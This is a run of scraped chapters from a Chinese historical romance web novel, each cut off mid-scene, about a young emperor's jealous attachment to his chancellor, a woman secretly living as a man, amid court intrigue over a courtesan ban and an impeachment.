但岑婴不理会她的关切,甚至还觉得这是个讥讽。 他抬着眼皮,凉凉地看着谢归晏:“因朕禁官员狎妓的旨意,朝堂上沸沸扬扬,不肯安生。怎么,就连谢相也站在他们那边,不赞同朕的旨意吗?” 谢归晏诧异:“微臣怎会反对?” 岑婴道:“平康南曲佳酿醇香,佳人美艳,谢相便没有一丝一毫的留恋?自朕命顾屿照守着平康坊,谢相已经有好些时日见不到红颜知己了吧,让美娇娘独守空房,可有不舍?” 他说了一迭话,把谢归晏听得格外迷糊:“陛下可是误会了什么,微臣在平康坊没有什么红颜知己。” 岑婴阴阳怪气:“原来都是露水姻缘,谢相当真洒脱。” 谢归晏哭笑不得:“微臣不知陛下听了怎样的流言蜚语,才以为微臣在南曲左拥右抱。自陛下登基后,微臣已经不去平康里了。” 岑婴的面色仍旧是冷沉的。 才半年不去算得了什么,只是这半年不去,又不代表从前不去。 何况就连谢归晏自己都说了,这半年他忙得连喝酒的时间都没有,焉知他这半年不去,究竟是不想去还是没时间去。 岑婴只要想到谢归晏会在那些花娘面前,吃酒享乐,挑逗调情,流露出不一样的浪荡纵情的一面。他不仅有种浓烈的背叛感,还觉得胸膛里鼓掌着一包酸水。 不能碰,不能想。 否则就是成宿得睡不着,只觉自己透不过气,下一刻就要被这酸水闷死。 岑婴这时光脑子转到这儿,还没有来得及深入,指尖便不由地被刺激得发力,将手中拨弄的佛串扯断,由住持亲自挑拣,并在佛前开光的佛籽滴溜溜地满地乱跳乱滚。 明洪听到动静,正要带小内监进来收拾,被岑婴摆手拒绝了。 他双眸锐利地盯着谢归晏:“从前去没去过?” “去过。” 谢归晏沉稳地道:“官场交际,这是难免的,微臣初来长安,需要尽快站稳脚跟,最好的法子就是去平康坊喝酒写诗。” 岑婴嘴角勾着嘲讽的笑:“怪不得谢相在平康坊声名远扬。” 谢归晏道:“微臣去平康坊只是为了结交同僚,从未狎妓。” 岑婴抿着唇:“从未?” 谢归晏重复:“从未。” 岑婴道:“你知道只要你说了朕就会相信你,所以莫要骗朕。” 谢归晏闻言一笑,微微点头:“微臣不敢欺骗陛下。” 积压在岑婴心头数日的郁色因这话一扫而空,他松了身,往椅背处靠去,重新换上了往日那懒散的模样,而不再把谢归晏当作一个需要斗争和怨恨的对象。 他道:“那今日你是为什么事而来?” 谢归晏道:“也没什么事,只是来陛下这儿躲躲清静,为了平康坊的禁令,那帮大臣连着堵了微臣两日了,微臣实在被缠得没有办法。” 岑婴挑眉:“敏行不反对朕?” < 7. 07 《暴君为何那样》全本免费阅读 谢归晏哑然失笑:“这种事,岂是思考就能改变的。再思考万次,微臣也没有龙阳之好。” 岑婴闻言,虽觉这话在意料之中,但心头仍旧有几分失落怅惘。 谢归晏将手里这篇《平康赋》写完,便与岑婴告辞,看上去很心不在焉,随手便挥退了她。 谢归晏出了宫,就命人将《平康赋》送到各处书坊,很快,这篇文采斐然的赋文就在长安城流传开来。 谢归晏本就久负雅名,加之岑婴连日的旨意与行动,很快便出现了洛阳纸贵的盛况。 这日谢归晏罢朝归家,车行至崇仁坊坊门口,便被一驾香车宝马拦下。 谢归晏卷起车帘,就见对向马车上半打起的车帘里钻出一位蝉鬓高鬟,眉点花钿,臂带金钏,纤腰高束,怀抱琵琶的美娘子,她盈盈向着谢归晏拜下。 “小女李师言,日前拜读谢相《平康赋》,感念相爷为我等风尘女子作赋鸣屈,便斗胆为赋谱曲,还请谢相拨冗赐教。” 李师言是南曲最有名的花魁娘子,谢归晏赴宴南曲时,曾与她见过几回,知她才气,也知花娘为了自抬身价,总是需要与富有盛名的文人雅士附庸风雅。 李师言斗胆来堵她的车,恐怕是因为岑婴的旨意让她流失了许多恩客与金银,所以要借谢归晏和《平康赋》的名声更上层楼。 谢家的仆从看着逐渐被吸引聚拢的人群,赶紧问谢归晏:“相爷,可否要小的把她赶走?” 谢归晏摇头,让仆从退下,方抬手向李师言比了个请的姿势。 李师言便坐回车厢内,由女使自两侧挽起车帘,露出她怀抱琵琶,轻拢慢捻的姿态,琵琶声切切,低回婉转,她和曲而唱,幽咽泉流。 谢归晏这篇《平康赋》本就借平康妓子之声,诉说被父母发卖之悲、平康卖身之痛、身缠疾病之疼、无人问津之哭、红颜凋零之伤,李师言这般演奏,更有感伤自身之意,令人闻之动容。 由李师言这一曲,今日之后,长安城内,谁人不识李师言与谢归晏。 * 深宫梨园之内,戏台之上,演的却不是这支琵琶曲,而是长安城内兴起的一支新戏。 这支戏说的是新科状元偶然结识了平康坊的名妓诗诗,二人以琵琶曲结缘私定终身,状元郎更是为了诗诗拒绝皇帝赐婚,致使皇帝震怒将其外放,二人辗转七年,排除万难终于修成正果。 这支新戏,虽未指名道姓,可明眼人都能看得出来这名妓诗诗就是李师言,而新科状元则是历来声名煊赫的谢归晏。 岑婴慕名来听,却是越听越生闷气。 该说不说,真不愧是他的谢相,被人堵家门口听个琵琶曲,都能听出一笔风流孽债。 更可气的是,在这出戏里,他还成了那个棒打鸳鸯的恶人了。 真是岂有此理,他若想拆散姻缘,那相位如今还能在谢归晏手里吗? 而且依着他与谢归晏的情分,怎么可能为了一个区区青楼妓子而将他抛下? 这帮无视事实,只知道胡乱编排的贱民! 岑婴边磨牙,边暗暗瞪着那台上的小生花旦。 可慢慢的,他眼前又浮现了那日谢归晏哑然失笑的模样。 谢归晏眉尖微蹙,嘴唇微张,似乎很诧异岑婴怎会问出这般无知可笑的问题,然后很快便用轻快又不容置疑的声音回答了他的问题,也是拒绝了他更进一步。 “这种事,岂是思考就能改变的。再思考万次,微臣也没有龙阳之好。” 所以,他和那个李师言之间,谢归晏会选谁,岑婴又忽然很不确定起来了。 尽管李师言只是个妓子,但如果让谢归晏知道他那微妙的情愫,应当会觉他更恶心。 * 漏夜,宫门悄然而开,几个小内监挑着宫灯按序去了朝廷大员府邸,告知明日的早朝暂休的消息。 谢归晏闻言,虽很高兴明日可以睡个懒觉,但也不免担忧起来:“无缘无故怎么停了早朝,可是陛下身体抱恙?” 那负责传话的小内监摇摇头,只含糊地说:“陛下身子有恙,不能上朝。谢相,奴婢还要赶下家去通知诸位大人,便告辞了。” 如此,谢归晏便不好再留他打探消息。 她虽担忧,但想到大明宫里有太医在,岑婴应当不会有性命之忧,便还算宽心,自去洗漱安置。 等次日,她去中书省处理政务,岑婴忽然休朝,让群臣们很担忧,办事时不免议论起来。 有人问谢归晏缘由,谢归晏摇头表示不知情,引来众人的诧异。 “真是奇了怪了,谢相竟也有不知陛下情况的一日。” 这确实是天下奇事,便是谢归晏进不了后宫,也并非时时侍奉在岑婴面前,但岑婴与谢归晏无话不谈,连多吃一碗饭这样的小事都会兴致勃勃分享给她,又何况是如今这种大事。 众人啧啧称奇,望着谢归晏。 谢归晏虽也有些意外,但也只是觉得意外而已,并未多想,只道:“诸位同僚们说笑了,陛下如今也有十八岁了,是可以立后迎妃的年纪,难道还要事事告知我吗?” 那些官员便摆手笑了笑。 中书侍郎道:“虽谢相不知情,可顾将军知道来龙去脉。今日我来这儿的路上遇到了顾将军,还是他告诉我,是陛下前儿去梨园听了场戏,不知怎么,夜里就起了头疾,疼了一个晚上,太医赶来给陛下施针,才勉强缓解了些。” 头疾是岑婴为二位公主求情不成,淋了暴雨后落下的旧疾了,这近一年的时间,谢归晏都在有意替他抑制病情,自岑婴登基后,也是好转了不少,哪里想到昨天夜里就来势汹汹地复发了。 这不应当啊,明明太医说过只要不受刺激,好好养着,岑婴是不会轻易犯头疾的。 难道是他去了梨园,遇上了太上皇,太上皇说了什么混账话,刺激到他了? 谢归晏这般一想,为岑婴担心起来之余,还有对他的几分怜悯。 于是露在外头,谢归晏脸上的情绪就显得凝重许多。 那些个官员互相看了看,自然而然误解了她这神色。 那先前说话的中书侍郎 8. 08 《暴君为何那样》全本免费阅读 谢归晏离了大明宫便去了顾府。 到底曾是并肩作战了七年的‘同袍’,即使没有未婚夫妻这一层关系在,谢归晏与顾屿照也有非比寻常的情谊。 再加之这七年,顾屿照多次为她遮掩身份,谢归晏对他感激万分,因此也将他视作挚友,心情低落时愿意找他说两句话。 但顾屿照并不在顾府。 顾府上下对谢归晏很熟悉,兼之顾屿照的命令,纵然主家此时不在家,仆从也很热情地将谢归晏迎了进去,并拿了坛好酒招待她。 谢归晏入顾府也如入自家宅院,很是自在地落座,与顾家女使讨了时兴话本,等着顾屿照回来。 这一等,就是一个时辰,直到月上屋檐,顾屿照才匆匆而归。 顾屿照道:“久等了,陛下那病情凶险,我不好提前出宫。” 谢归晏正合上翻完的话本,闻言一顿,掀起眼皮,表情有些怪异:“你一直守在太极殿?” 顾屿照道:“是。” 他抱着脱下的兜鍪,轻轻搁在桌上,仿佛这般拘束的动作是为了不刺激谢归晏。 “你递牌子进来的事,我听到了。” 谢归晏道:“是陛下亲口说不想见我?” 顾屿照轻应了声。 这轻声在谢归晏心里仿佛石落大海,激起千堆巨浪。 方才勉强被话本的曲折情节给压制下去的情绪又统统翻了上来,谢归晏怅然所失:“你说陛下为何不想见我?” 顾屿照推开椅子落座:“陛下已不是那个需要我们辅佐的东宫太子了,他现在坐在大燕的帝位上,是真正的孤家寡人。” 他抬手给谢归晏倒酒:“你若非向来明白这个道理,又何必一直恪守君臣之别。” 他把倾满的酒盏推过来。 谢归晏觉得心烦意乱,抄过酒盏,一饮而尽。 “还是不一样的。” 她转着酒盏,幽幽叹气:“我以为我们能做不一样的君臣。” “我刚到陛下身边时,他才十一岁,因为太后不受宠,所以太上皇也不待见他,没给他延请个好老师,四书五经学得七零八落。” “是我一个字一个字重新教他。” “那时候,我以为我会教出个圣明君主,可是直到现在我才明白那终究只是我的一厢情愿,他依然要走上孤家寡人的道路。” 顾屿照越过半张桌子,握住她转着酒盏的手。 谢归晏吃惊,从伤感情绪中抽离,不明所以地看着他。 顾屿照道:“这不是你的错。帝王命数如此,岂是几句圣人言论能更改。龙椅冰凉,也非你的忠心陪伴可以暖化。” 谢归晏将手抽了回来,顾屿照察觉到她的避让,但他也没有趁机收拢力气,截住谢归晏的手,而是将手也收了回去。 尽管他的手离开了,但谢归晏的手背上还残留着他留下的粗粝与温热。 其实与顾屿照同朝为官七年,谢归晏很难记起与他的婚约。 或许是因为太熟了,所以没有办法产生悸动。 或许也是因为谢归晏站在了和顾屿照一样的高度,所以没有办法把自己放到他的妻子位置上去。 只有在这种时刻,顾屿照自然而然地触碰她,在肌肤上留下武将的粗粝触感,谢归晏才会恍惚记起,原来她和这个男人是有婚约的。 而显然,顾屿照此刻也是有这样的目的。 他道:“与其等到将来寒心,不如趁早退隐,这样彼此还能留几分薄面。” 谢归晏心乱如麻重新转起酒盏:“只是一次不见而已,哪里就如你说得那般严重了。我伤怀也不过是因为有些失落而已,就像从前我发现,虽然我与阿兄是双生子,但其实他也有背着我想做的事那样,陛下到底是我亲生带大的孩子,他骤然与我生分,我感到失落也是人之常情。” “何况他眼下是头疾发作,没有精力见外臣,我亦是能理解。” 顾屿照怔怔地看着谢归晏:“我未曾想到你竟会这般相信一个帝王。” 谢归晏道:“那不仅是我亲手带大的孩子,也是你亲手教出来的孩子,你对他稍微有点信任,也没什么不好。” * “陛下!” 太极殿内,宫帷厚重地垂落在地,四处燃着的烛火烧得再旺,也隐隐透出一股沉闷压抑的气息。 明洪焦急地站在被深重帘帐遮挡起的内殿之外,他的视线被阻挡,看不清里面的境况,只能听到噼里啪啦的陈设被扫落在地的声音,以及瓷器破碎的响动。 正因为看不见,明洪才会急得团团转,他怕岑婴会伤着自己。 “陛下,若真不行,就宣谢相进宫吧!” 明洪贴着帘帐,苦口婆心地劝。 “昨夜命内监去传话,谢相还询问过陛下的情况,今天更是亲自递了牌子进来,可见谢相还是关心陛下的,陛下何苦避而不见?” 里头很长时间都没有声音,过了好会儿,忽然一幢书撞开帘帐,向明洪贴脸砸来,还伴随着岑婴愤怒地吼叫:“滚!” 帘帐掀起又落下,就见内殿一片狼藉,多宝架倒塌在地,书籍与香炉摔在一起,瓷片里盛着墨水。 而岑婴披头散发,只着一件松垮未系起的里衣,露出的胸膛到腹部的肌肤上布满道道自伤的痕迹,他跪在瓷片上,浑身血污也不顾。 他喃喃道:“朕怎么可以见敏行。” 从前许多次头疾噩梦,太医喂药施针都比不上谢归晏抱着他,他听着敏行的轻声细语,嗅着身上熟悉的雪松香气,便觉世间的痛苦都随他而去。 每一个漫长夜晚都是可以度过,每一阵狂风暴雨都是可以穿越的。 因为有谢归晏的陪伴,所以他总这般相信着。 可是,这并不意味着他可以永远地依赖谢归晏。 若是他没有察觉自己的心思,那便罢了,可偏偏,他已经懂了那微妙的情愫究竟有多恶心多龌龊——他不是断袖,没有龙阳之好,偏偏就是喜欢谢归晏。 但这样的辩解是无力的,难道他只喜欢谢归晏,就不是龙阳之好了? 谢归晏可是如假包换的男子啊 9. 09 《暴君为何那样》全本免费阅读 熟悉的雪松香气如一只手,熨帖地将岑婴拥住,细致地一遍遍抚慰他的不安,这让他得以从如潮水般令他窒息的疼痛中短暂抽身,抬眼看清了那张魂牵梦萦的脸。 “敏……行?” 他唤谢归晏,声音干哑艰涩。 他的膝盖抵着御砖,向前行了几步,正巧入了谢归晏的怀里,那令人心安的雪松香气更重了,他轻轻嗅了下,钻进谢归晏的怀里,紧紧地抱着她,脸颊蹭着她的肩窝。 “真的是敏行,不是朕在做梦。” “是臣。” 手指轻柔地挑开他被汗水浸湿黏在额头的头发,指腹柔软地贴过他的肌理,轻轻揉开,那困住了他几乎一天一夜的疼痛渐渐化开。 岑婴不由地把谢归晏抱得更紧了。 “朕真没用,朕还以为这回可以扛过去的。”他喃喃道,“还是要敏行进宫……敏行会不会觉得朕太多事了?” “怎会?陛下龙体安康比什么事都要紧,倒是臣进宫来见到陛下身上血污狼藉,让臣很为陛下担心。” “龙体。” 岑婴喃喃地重复着这两个字。 “是啊,朕如今是皇帝,为了江山稳固,你也不愿看到朕出事。” 他睁开眼,看到谢归晏近在咫尺的细腻肌肤,他目光渐渐上移,看到的是熟悉的独属谢归晏的平静神色。 这倒不是说谢归晏的神色里没有担忧和关心,可是在岑婴看来,这担忧和关心到底是淡的,缺了慌张和焦急,就好像只是一个过场。 这是属于股肱忠臣的谢相的神色,而不是谢归晏的神情。 他缓缓起身,与谢归晏拉开距离,用审视的目光忖度着她的神色:“若朕不是皇帝,敏行也愿意漏夜进宫来看朕吗?” 他很在意这个回答,即使身体拉开了距离,似乎与谢归晏生分了,但他的手仍旧留在谢归晏的膝上,紧张地握着她的手腕。 “当然。” 岑婴一眼不错地盯着谢归晏,不愿错过她一丝一毫的神色变化。 “臣七年前入东宫侍读,与陛下相携走过七年风雨,自然会盼着陛下可痊愈。” 还没等岑婴展颜一笑,岑婴便听谢归晏又道:“说句不大恰当的话,陛下也算是臣看着长大的孩子,在臣心里,与族中幼弟无异,做兄长的自然是盼着幼弟安康。” 岑婴不仅将笑收了,心底的那点喜悦还被熬干了。 他怔怔地看着谢归晏,忽然笑了起来,肩膀一耸耸的,声音却像是在哭:“原来如此,原来如此。” 谢归晏瞧他突然大笑的样子,很担忧他又是头疾发作:“陛下可是头疼?” 岑婴摇头:“没有,朕宁可是头疾犯了。” 谢归晏道:“太医还在外头候着,陛下要不要请他们进来施针,再将身上的伤口包扎一下?” 他小心地劝诫着,大约是以为之前岑婴头疼却宁可自伤也不见太医,是讳疾忌医。 岑婴沉默了下,道:“太医无用,算了,还是宣吧。” 他摇摇晃晃想从地上爬起来,可是他赤足走在这满地狼藉的偏殿里,那些瓷片早就扎进了他的足部,于是才刚起身,尖锐的瓷片又更深地往皮肉处扎去,他疼得晃了下身。 谢归晏忙扶着他。 那雪松气又萦绕了过来,岑婴只觉心酸,他拍开了谢归晏的手,忍着痛,一瘸一拐地走向美人榻坐了下来。 若谢归晏不提,他都快忘了,他们之间差了七年,谢归晏入东宫的那一年,是他最贫弱的一年,虽贵为太子,但因后宫大权揽在章贵妃手里,日子过得很惨。 后宫里,章贵妃的风头压过皇后,前朝里,二皇子的气焰稳稳压过他,就连匹骑射用的马驹,都可以堂而皇之地抢了他的,他这个太子当得实在是窝囊。 岑婴知道那一年的自己,孤僻,阴暗,浑身竖尖刺,刻薄无礼,是最糟糕的模样,偏偏坐在桌案前的谢归晏白衣胜雪,若朗月入屋,将他所有的不堪照得一览无遗。 岑婴额头上带着乌青,嘴角留着淤血,像看敌人一样看着谢归晏:“你走错路了,这儿是东宫,不住二皇弟。” 谢归晏道:“可臣就是来见殿下的。” 岑婴身上还顶着为了抢回自己的马驹留下的伤,对谢归晏的话嗤之以鼻:“既然见到了,那就赶紧走。” 谢归晏被他赶,却没有任何的恼意,反而温言道:“臣是东宫的侍读,殿下要臣走到哪儿去?” 岑婴撇过头,不想看她脸上善意的笑:“有什么区别?今日是东宫的侍读,明日就是二皇弟了,孤劝你不如一步到位,不必假惺惺演戏。” 谢归晏的脾气就是好,对待他始终像是在对待一个闹脾气的小孩,很有耐心:“殿下这样说话,臣可就伤心了,臣却无投靠二皇子的意思,若殿下不信,可以与臣打个赌,看臣能在东宫留多久。若臣输了,臣给殿下买一匹小马驹,若臣赢了,臣替殿下赢回一匹小马驹。” “你这输了和赢了什么区别?”岑婴缓了缓,反应过来,“你知道今日的事了?” 谢归晏舒然一笑:“是啊,就是不知殿下是否有勇气,和臣去把那匹小马驹赢回来。” 岑婴愣了愣,慢慢转过脸,轻嗯了声。 现在再回忆起这件事来,岑婴翻来覆去地想,终究得承认这件事,那时候的谢归晏确实是把他当一个一无所有的孩子哄着,他入东宫,是为支持正统的忠心,可也难说没有对一个孩子的同情心。 也怪不得现在的他能说出这样的话,除去君臣之外,非要细究私情,就是只把岑婴当作需要照顾的幼弟。 所以才肯在过去一年中,每一个他头疾发作的日子里,陪着他,替他按摩揉太阳穴。 所以在今日,被他冷落后,还肯漏夜进宫看他。 自此,岑婴的所有侥幸悉数熄灭。 太医那粗长的银针扎进他头部的穴位中,岑婴也感觉不到身上的疼了,他只是睁着一双空茫茫的眼,漫无目的地看着立在外面的谢归晏。 那一角的红色补服依然不染尘埃。 岑婴突然就恨起了谢归晏。 红尘万丈,凭什么只有你可以不染尘埃。 * 太医收好医 10. 10 《暴君为何那样》全本免费阅读 可无论是她还是顾屿照,都并非无才无德,只知善承上意之辈,岑婴纵然对他们有宠幸,也是在他们的功劳和位阶范围之内,远不到昏聩无度的地步。 所以谢归晏不明白岑婴为何会提起这话,她便问出了口。 岑婴道:“敏行还不知道?朕今日并未宣你进宫,是明洪私自拿了腰牌,让你进宫。” 谢归晏悚然一惊。 外臣与内常侍关系亲厚,内常侍甚至可以用自己的腰牌,让外臣无诏而入宫,这事说大了可上升到擅自勾结谋逆的地步,说小了也要因为忤逆帝王而挨个训斥。 怪不得岑婴要提起佞幸,这是在拐弯抹角说她恃宠而骄,忘了做臣子的本分。 “太史公曰:甚哉爱憎之时!” 这是谢归晏少时翻阅《佞幸列传》时印象最深的话,却没有想到有一日这话会落到自己的身上。 尽管她蹀躞带上还挂着岑婴赐下的畅通后宫的腰牌,可只要岑婴想要怀疑她心怀不轨时,他就可以不论过往的情谊。 她思索着:“邓通、李延年等人无才无德,只知谄媚事主,乃国之蠹虫,微臣不屑于之为伍。” 她强调:“尤其是韩嫣,出入永巷而不禁,以致于秽乱后宫,最后被太后赐死,微臣深以为报应。” 谢归晏一面说着,一面解下蹀躞带上挂着的象牙腰牌,双手举着,递还给岑婴。 岑婴的目光停在那腰牌和举着腰牌的素白双手上,双手纤葱,皓腕如雪,叫他久久挪不开视线。 可偏偏,那么叫他喜欢的手却在做着让他讨厌的事。 他取过象牙腰牌,谢归晏还未来得及松了口气,就被他扶正了身子。 “敏行提佞幸列传,怎么只提韩嫣之辈,而不提卫青与霍去病?” 他自然而然地勾过谢归晏的蹀躞带,在谢归晏忐忑的目光中,将腰牌重新系上。 “卫青、霍去病亦以外戚贵幸,然颇用材能自进。这也是太史公的话,敏行莫忘了。” 岑婴打结的手不知怎么,几次打滑,不小心触碰到谢归晏的腰,谢归晏心里别扭发麻,总怕那手指触得更多更深,就能发现她的秘密,于是不由地轻挪腰肢,向后避去。 岑婴道:“躲什么?你胆子越发大了,还嫌弃起朕赐给你的腰牌了。” 他站得近,簇长的羽睫低垂着,将他的瞳莹收敛,让谢归晏判断不了他此时的喜怒。 先用奸佞来点她,可是当她还了腰牌后,又亲手把腰牌给系回去。 岑婴究竟在想什么?究竟是想敲打她还是为了别的目的? 谢归晏急忙转动大脑思索着,却仍旧难以得解,只是感觉岑婴似乎借着勾她蹀躞带的势,站得更近了些,气息一缕一缕的,触手可及。 谢归晏只觉别扭:“陛下,还是让微臣自己系罢。” 她抬手接过腰牌,才发现那腰牌被系得乱七八糟的,连络子都散了。 “陛下。”谢归晏都有些无奈。 岑婴身子往前一靠,额头抵着她的肩膀,闷笑了起来:“抱歉啊,敏行,是朕手笨,把你的络子弄坏了。” 可听那幸灾乐祸的语气,谢归晏实在没有听出他有什么歉意。 谢归晏道:“这腰牌也没处挂去了,陛下要微臣怎么办?” 岑婴道:“把朕的络子拿去就是了。” 谢归晏道:“陛下御用的东西,微臣怎好僭越使用呢?这不就成了佞幸之臣?” 岑婴抬起脸,有些不满:“敏行又没有听进朕的话了,佞幸之臣乃无才无德,只知媚上事主之辈,可若是有才自进之辈,如卫霍,谁敢骂他们佞幸。” “敏行有才有德,不过与朕有兄弟之谊,谁又敢说是你是佞幸之臣。” 谢归晏没答上来,她隐隐觉得岑婴今晚的情绪不太对。 岑婴不是没有流露出对她的眷恋,但那是在她刚入东宫时,岑婴年纪小,又接二连三遭了太上皇的厌弃和二皇子的抢夺,他倍觉孤苦,只好借谢归晏发泄心中的苦闷。 可是如今岑婴已经登基了,他已经富有四海,不必如此,谢归晏思来想去,只能把解释为岑婴是被太上皇刺激多了,才会流露出如此缺爱的一面,就连与外臣有兄弟之谊这样的话都说出来了。 “陛下能否先站直了身子?微臣有些站不住了。” 岑婴笑了下,从善如流地站直了身子:“还是你身子太弱。” 他却来牵谢归晏的手,掀开重重的帘帐,路过殿外战战兢兢伺候的内监女使,将谢归晏带到寝殿。 “朕的络子很多,敏行随意挑。” 谢归晏觉得她这辈子英明一世,名声终于还是要跟佞幸二字挂钩了。 她一面看着岑婴那一排各种式样的络子,一面心里在发毛。 或许先前她还不知岑婴为何突然与她提起《佞幸列传》,可现在她已有了个不大成熟却初具雏形的猜想。 岑婴莫不是想让她做那个佞幸之臣? 这绝无可能。 谢归晏熟读的每本圣贤书,都不能容她这般谄媚无状。 她挑了其中最为低调的络子。 岑婴就在身后看着他,看他挑中其中最不好看的那条络子,倒也没什么意外,毕竟谢归晏一向如此,进退有度,从不僭越。 不过也无碍了。 他已经想得很清楚,谢归晏绝没可能有龙阳之好,但他不能没有敏行,所以各退一步,就让敏行做他的佞幸之臣。 只要君臣励精图治,携手开创盛世,又何必忧心日后史官落笔。 岑婴道:“夜色已晚,敏行就在太极殿宿下。” 谢归晏道:“这不妥。” “又是这话。”岑婴道,“除了这话,你还会说什么?别与朕犟,朕头疾还未曾痊愈,恐怕夜里发作,难道还要明洪再半夜出宫请你,怕是整个长安城都知道朕身体抱恙了。” 谢归晏再觉外臣留宿后宫不妥当,可岑婴都祭出了龙体有恙这张大旗,也让谢归晏无话可推脱。 岑婴唤明洪,再去抱床被子,就放在龙榻上,显然是想谢归晏晚上就宿在寝殿的龙榻上, 11. 11 《暴君为何那样》全本免费阅读 谢归晏急匆匆行出太极殿,也来不及等明洪备肩舆,只一门心思往宫外走去,仿佛身后有洪水猛兽在追。 岑婴的要求对谢归晏来说,可不是比洪水猛兽更可怕吗?谢归晏实在不敢想象若是她女扮男装的身份被揭穿,合家都要受欺君之罪的严惩,该是何等惨绝人寰的场景。 若真到了那时,她就算自绝九泉之下也无颜面对列祖列宗。 谢归晏光是这样想,就觉得冷汗直冒,于是步子不免快了些,便听有人唤她:“谢相。” 竟是清脆的女声,谢归晏好奇地折身,见是太后身边的女官碧华。 她屈膝福礼,倒把谢归晏弄得有些不好意思:“陛下头疾发作,需要我近身伺候,方才进了后宫。” 碧华笑道:“我知道,前几回陛下犯了头疾,也多亏谢相陪伴在身侧,太后娘娘感激不尽。” 谢归晏忙道:“为人臣者,当竭尽忠心,故不敢承太后的谢。” 碧华微微一笑:“谢相客气,娘娘派我隔半个时辰便来太极殿打听消息,是担心陛下身子,现在看谢相准备出宫,可见陛下已无恙,娘娘也可放心了。” 谢归晏怔了怔。 她不禁抬头面向太极殿的方向,那儿烛火煌煌,匍匐在高台上,仿佛行在黑夜巨浪中的一艘大船。 谢归晏道:“碧华姑姑,有句话由我来说,或许有些逾矩,但为了陛下,我还是想不吐不快。” 碧华忙道:“谢相有从龙之功,一心敬主,什么话都可以说。” 谢归晏垂了眼,看着蹀躞带上空了的那处位置,道:“陛下虽贵为一国之君,可说到底也只是个十八岁的少年郎,需要父母兄妹的陪伴。陛下在巫蛊之祸后屡犯头疾,其实也是对两位公主的愧疚难当,若太后能常伴其左右,消解他的悔意,兴许也能缓和陛下的头疾。” 碧华闻言诧异。 大抵对于她这种十五岁入宫,在宫里陪着太后度过荣辱半生的女官来说,刀光剑影是见惯的,可是这种渴爱的温情却是陌生至极,以致于听到谢归晏的话,她还要皱起眉头,露出困惑的神色。 困惑岑婴贵为天子,怎么还会需要亲情友爱? 碧华的困惑刺痛了谢归晏,让她愈发觉得那个被头疾困在太极殿的岑婴更可怜。 她轻声道:“陛下为两位公主求情之日,天降滚雷与暴雨,若他不需要,是不必顶风扛雨地去求这个必然求不来的情。” 她抬手,行了个极为郑重的礼:“还望姑姑转告太后。” 碧华毫无防备受了宰辅的礼,也唬了一跳,还礼不迭,道:“相爷放心,我定然如实将此话转告给太后。” 与碧华分别,谢归晏一路出宫去,爬上自家的马车,恹恹归家,随意洗漱了番后,扯过被子倒头就睡。 今天一日实在是累。 接下来两日,岑婴的头疾渐缓,也能在东朝堂开小朝会,议论政事,似乎与之前都没什么变化。 但谢归晏心知不是如此,二人虽维持表面的平和,但其实都心知双方正陷在一个僵持的关系里。 没有一个人敢打破这种僵持,也不知该如何打破。 而这日,又一个小意外突然袭来。 那时谢归晏正在中书省听中书舍人们将对朝政的看法意见说给她听,便见一个人在门口探头探脑的。 “那不是御史唐捐德唐大人吗?他怎么来了?” 因为御史负责监察百官,与各衙门来往都不密切,谢归晏作为百官之首,自然也要注意与他们之间的来往,唯独这个唐捐德,给她留下了极为深刻的印象。 就见他在门口对她挤眉弄眼,似乎也顾念着身份,不敢踏足中书省,只能请她出去。 谢归晏便暂停了中书舍人们的议论,走了出去:“唐大人这是怎么了?可是你们御史又有谁要被杖刑了?” 原是一句玩笑话,谁成想唐捐德还真因为这话露出一张苦瓜子脸,谢归晏心里就咯噔一声:“陛下又要打言官了?” 唐捐德道:“不知谢相对刘杰刘大人可还有印象?” 就是那个买了棺材后向岑婴谏言要把太上皇移出梨园的御史,谢归晏对他可太有印象了。 她颔首。 唐捐德的眉毛都要耷拉了下来:“他自被陛下打了后,一直在家里歇着,下官以为他会好生休养,便没留意,哪知就一个没留神,刘大人便往宫里递了道折子。” 谢归晏惊道:“我并未看到刘大人递上来的折子。” 唐捐德很不安:“他并未按着规矩,先递到中书省这边,而是托同僚当面递交给陛下。因为他觉得弹劾谢相的折子若是先被谢相看见了,肯定就是石沉大海,再无音信。” 谢归晏太阳穴直跳:“又是弹劾我的?弹劾我什么了?” 唐捐德小心翼翼地道:“私德不检,难为百官之首。如今陛下看了折子后大怒,命金吾卫去刘府把刘大人抬到东朝堂问话,这样若是刘大人答得不好,也方便直接把他推到金吾卫杖院受刑。” 谢归晏头痛得更厉害了。 怪不得唐捐德要来找她呢。 谢归晏扶额:“唐大人可记得刘大人这折子弹劾的是本相?” 唐捐德支支吾吾,显然也觉得难以开口。 谢归晏叹气:“刘大人说我私德不检,究竟是哪里不检了,唐大人回回来找我救命,我还以为我是天下第一大善人呢。” “谢相私德不检?刘杰,看看你写的满纸荒唐之言。” 岑婴把手里的折子向刘杰砸去。 那刘杰受了三十杖的刑罚,被打得皮开肉绽,至今不能下床,现在也是横趴在小榻上,被金吾卫抬进了东朝堂,当那折子向他砸来时,恍惚间还以为他在受第二次刑罚。 刘杰连跪爬都做不到,只能头点枕头,给岑婴磕头:“陛下为止朝中奢靡攀比之风,禁止官员狎妓,可为何放任谢相与名妓李师言的绯闻肆虐?谢相乃百官之首,陛下纵容他做出这样的事,究竟是想禁止还是不想禁止官员狎妓?” 岑婴觉得荒唐:“是谢相去平康见了那个妓子吗?分明是她在崇文坊门口把谢相拦下来,非要给谢相弹琵琶,谢相有什么办法?他那么一个烂好人的性子,难道还指望他把娇滴滴的小娘子扔出去吗?” 岑婴说着说着, 12. 12 《暴君为何那样》全本免费阅读 “敏行怎么来了?” 岑婴在谢归晏面前总是乖巧的,见到谢归晏一身拥雪捋冰地立在门口,他立刻收了之前那副凶狠的模样,乖乖地正襟危坐。 谢归晏道:“有几份要紧的折子需要呈给陛下过目,微臣便来了。” 她瞥了眼趴在小榻上的刘杰,跨步进入。 “微臣在依稀之间,似乎听到了些非议,敢问刘大人,究竟是怎样的非议?” 见两个被非议的当事人到了现场,刘杰倒有些不好意思直接说出口,就将新出的话本子取了出来。 谢归晏弯腰接过,因岑婴在,她便没有先看而是直接递给了岑婴,岑婴原本是带着怒气翻开那话本子,结果只粗略地扫了眼,就面红耳赤地直接将本子合上了。 他目光游移,不敢看谢归晏,显出几分心虚来。 谢归晏更是好奇:“陛下,微臣可以看一眼吗?” 岑婴忙把话本子递给明洪:“赶紧烧了,这等污言秽语也能成书,成何体统!” 谢归晏的目光更为好奇了。 她眼睁睁地看着明洪接过话本子,打开当地狮耳鼎式柱足炉的盖子,将一本厚厚的话本子扔了进去,本子过于厚重,压的炉内燃香都要没了。 